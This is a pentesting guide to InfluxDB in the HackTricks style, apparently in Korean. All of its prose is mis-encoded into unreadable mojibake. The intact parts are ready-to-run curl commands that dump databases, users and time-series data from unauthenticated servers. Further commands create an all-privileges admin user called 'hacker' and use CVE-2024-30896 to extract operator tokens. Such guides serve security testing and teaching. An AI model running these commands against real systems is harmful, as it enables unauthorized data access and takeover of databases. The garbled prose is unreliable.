8086 - Pentesting InfluxDB

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

InfluxDB๋Š” InfluxData์—์„œ ๊ฐœ๋ฐœํ•œ ์˜คํ”ˆ ์†Œ์Šค **์‹œ๊ณ„์—ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค (TSDB)**์ž…๋‹ˆ๋‹ค. TSDB๋Š” ํƒ€์ž„์Šคํƒฌํ”„-๊ฐ’ ์Œ์œผ๋กœ ๊ตฌ์„ฑ๋œ ์‹œ๊ณ„์—ด ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๊ณ  ์ œ๊ณตํ•˜๋„๋ก ์ตœ์ ํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜ ๋ชฉ์ ์˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์™€ ๋น„๊ตํ•  ๋•Œ, TSDB๋Š” ์‹œ๊ณ„์—ด ๋ฐ์ดํ„ฐ์…‹์— ๋Œ€ํ•ด ์ €์žฅ ๊ณต๊ฐ„๊ณผ ์„ฑ๋Šฅ์—์„œ ํ˜„์ €ํ•œ ํ–ฅ์ƒ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋“ค์€ ํŠน์ˆ˜ ์••์ถ• ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ์‚ฌ์šฉํ•˜๊ณ  ์˜ค๋ž˜๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์ž๋™์œผ๋กœ ์‚ญ์ œํ•˜๋„๋ก ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŠนํ™”๋œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ธ๋ฑ์Šค๋Š” ์ฟผ๋ฆฌ ์„ฑ๋Šฅ๋„ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ํฌํŠธ: 8086

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

์‹๋ณ„ ๋ฐ ๋ฒ„์ „ (HTTP)

  • v1.x: GET /ping๋Š” ์ƒํƒœ 204๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉฐ X-Influxdb-Version ๋ฐ X-Influxdb-Build ๊ฐ™์€ ํ—ค๋”๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
  • v2.x+: GET /health๋Š” ์„œ๋ฒ„ ๋ฒ„์ „๊ณผ ์ƒํƒœ๋ฅผ ํฌํ•จํ•œ JSON์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. auth ์—†์ด ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.
# v1 banner grab
curl -i http://<host>:8086/ping

# v2/compat health
curl -s http://<host>:8086/health | jq .

Tip: ๋…ธ์ถœ๋œ ์ธ์Šคํ„ด์Šค๋Š” ์ข…์ข… /metrics์—์„œ Prometheus-style metrics๋„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

์—ด๊ฑฐ

pentester ๊ด€์ ์—์„œ, ์ด๋Š” ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์ด๋ฏ€๋กœ ๋ชจ๋“  ์ •๋ณด๋ฅผ ๋คํ”„ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์•„๋Š” ๊ฒƒ์ด ํฅ๋ฏธ๋กญ์Šต๋‹ˆ๋‹ค.

์ธ์ฆ

InfluxDB๋Š” ์ธ์ฆ์„ ์š”๊ตฌํ•  ์ˆ˜๋„ ์žˆ๊ณ  ์•„๋‹ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal

๋งŒ์•ฝ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๋ฅผ ๋ฐ›๋Š”๋‹ค๋ฉด: ERR: unable to parse authentication credentials ์ด๋Š” credentials๋ฅผ ์š”๊ตฌํ•˜๊ณ  ์žˆ๋‹ค๋Š” ๋œป์ž…๋‹ˆ๋‹ค.

influx โ€“username influx โ€“password influx_pass

influxdb์— ์ธ์ฆ ์šฐํšŒ๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ์ทจ์•ฝ์ ์ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค: CVE-2019-20933

์ˆ˜๋™ ์—ด๊ฑฐ (v1 HTTP API / InfluxQL)

CLI๊ฐ€ ์—†๋”๋ผ๋„ HTTP API๋Š” ๋ณดํ†ต ํฌํŠธ 8086์—์„œ ๋…ธ์ถœ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"

# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"

# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"

# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"

# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"

# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .

# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'

Warning

์ผ๋ถ€ ํ…Œ์ŠคํŠธ์—์„œ authentication bypass๋ฅผ ์ด์šฉํ•  ๋•Œ ํ…Œ์ด๋ธ” ์ด๋ฆ„์„ select * from "cpu"์ฒ˜๋Ÿผ ํฐ๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ธ์•ผ ํ•˜๋Š” ๊ฒƒ์œผ๋กœ ํ™•์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

authentication์ด ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด, ์‚ฌ์šฉ์ž ์ƒ์„ฑ๊ณผ escalate๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:

# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"

The information of the following CLI example was taken from here.

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ‘œ์‹œ

๋ฐœ๊ฒฌ๋œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” telegraf์™€ internal์ž…๋‹ˆ๋‹ค (internal์€ ์–ด๋””์—์„œ๋‚˜ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค)

> show databases
name: databases
name
----
telegraf
_internal

ํ…Œ์ด๋ธ”/measurements ํ‘œ์‹œ

The InfluxDB documentation์—์„œ๋Š” InfluxDB์˜ measurements๊ฐ€ SQL ํ…Œ์ด๋ธ”์— ๋น„์œ ๋  ์ˆ˜ ์žˆ๋‹ค๊ณ  ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. ์ด๋“ค measurements์˜ ๋ช…๋ช… ๊ทœ์น™์€ ๊ฐ๊ฐ์˜ ๋‚ด์šฉ, ์ฆ‰ ํŠน์ • ์—”ํ‹ฐํ‹ฐ์™€ ๊ด€๋ จ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ๋‹ด๊ณ  ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system

์—ด/ํ•„๋“œ ํ‚ค ๋ณด๊ธฐ

ํ•„๋“œ ํ‚ค๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ์—ด๊ณผ ๊ฐ™๋‹ค

> show field keys
name: cpu
fieldKey         fieldType
--------         ---------
usage_guest      float
usage_guest_nice float
usage_idle       float
usage_iowait     float

name: disk
fieldKey     fieldType
--------     ---------
free         integer
inodes_free  integer
inodes_total integer
inodes_used  integer

[ ... more keys ...]

ํ…Œ์ด๋ธ” ๋คํ”„

๋งˆ์ง€๋ง‰์œผ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ…Œ์ด๋ธ”์„ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

select * from cpu
name: cpu
time                cpu       host   usage_guest usage_guest_nice usage_idle        usage_iowait        usage_irq usage_nice usage_softirq        usage_steal usage_system        usage_user
----                ---       ----   ----------- ---------------- ----------        ------------        --------- ---------- -------------        ----------- ------------        ----------
1497018760000000000 cpu-total ubuntu 0           0                99.297893681046   0                   0         0          0                    0           0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1      ubuntu 0           0                99.69909729188728 0                   0         0          0                    0           0.20060180541622202 0.10030090270811101

InfluxDB v2.x API (ํ† ํฐ ๊ธฐ๋ฐ˜)

InfluxDB 2.x๋Š” ํ† ํฐ ๊ธฐ๋ฐ˜ ์ธ์ฆ๊ณผ ์ƒˆ๋กœ์šด API๋ฅผ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค (๊ธฐ๋ณธ์ ์œผ๋กœ ์—ฌ์ „ํžˆ 8086 ์‚ฌ์šฉ). ํ† ํฐ์„ ์–ป์œผ๋ฉด (leaked logs, default deployments, backups) ๋‹ค์Œ์„ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"

# Health & version
curl -s http://<host>:8086/health | jq .

# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .

# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .

# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .

# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

์ฐธ๊ณ 

  • For v1.8+, some v2-compatible endpoints exist (/api/v2/query, /api/v2/write, /health). This is useful if the server is v1 but accepts v2-style requests.
  • v2์—์„œ๋Š” HTTP Authorization ํ—ค๋”๊ฐ€ Token <value> ํ˜•์‹์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ž๋™ํ™”๋œ ์—ด๊ฑฐ

msf6 > use auxiliary/scanner/http/influxdb_enum

์ตœ๊ทผ vulns ๋ฐ privesc ๊ด€์‹ฌ์‚ฌํ•ญ (์ตœ๊ทผ ๋ช‡ ๋…„)

  • InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). ํŠน์ • ์กฐ๊ฑด์—์„œ, ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๊ฐ€ authorization ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ฝ๊ธฐ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ๊ธฐ๋ณธ ์กฐ์ง(default organization)์— ์žˆ์œผ๋ฉด ์ธ์Šคํ„ด์Šค ์ „์ฒด operator ํ† ํฐ์„ ๋‚˜์—ดํ•˜๊ณ  ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: influx auth ls ๋˜๋Š” GET /api/v2/authorizations). ํ•ด๋‹น ํ† ํฐ์œผ๋กœ ๊ณต๊ฒฉ์ž๋Š” ์ธ์Šคํ„ด์Šค(buckets, tokens, users)๋ฅผ ๊ด€๋ฆฌํ•˜๊ณ  orgs ์ „๋ฐ˜์˜ ๋ชจ๋“  ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ˆ˜์ •๋œ ๋นŒ๋“œ๊ฐ€ ๋‚˜์˜ค๋ฉด ์—…๊ทธ๋ ˆ์ด๋“œํ•˜๊ณ  ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž๋ฅผ default org์— ๋ฐฐ์น˜ํ•˜์ง€ ๋งˆ์„ธ์š”. ๊ฐ„๋‹จํ•œ ํ…Œ์ŠคํŠธ:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
  • ๋งŽ์€ ๋ ˆ๊ฑฐ์‹œ 1.x ๋ฐฐํฌ๋“ค์ด ์—ฌ์ „ํžˆ ์ธํ„ฐ๋„ท์ƒ์—์„œ ์ธ์ฆ ์—†์ด /query ๋ฐ /write๋ฅผ ๋…ธ์ถœํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ธ์ฆ์ด ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด ์‹œ๊ณ„์—ด ๋ฐ์ดํ„ฐ๋ฅผ ๋งˆ์Œ๋Œ€๋กœ ๋คํ”„ํ•˜๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์œ„์— ์„ค๋ช…ํ•œ ๊ฒƒ์ฒ˜๋Ÿผ ๊ด€๋ฆฌ์ž ๊ณ„์ •์„ ์ƒ์„ฑํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. CLI๊ฐ€ ์ฐจ๋‹จํ•˜๋”๋ผ๋„ ํ•ญ์ƒ HTTP API๋กœ ํ™•์ธํ•˜์„ธ์š”.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ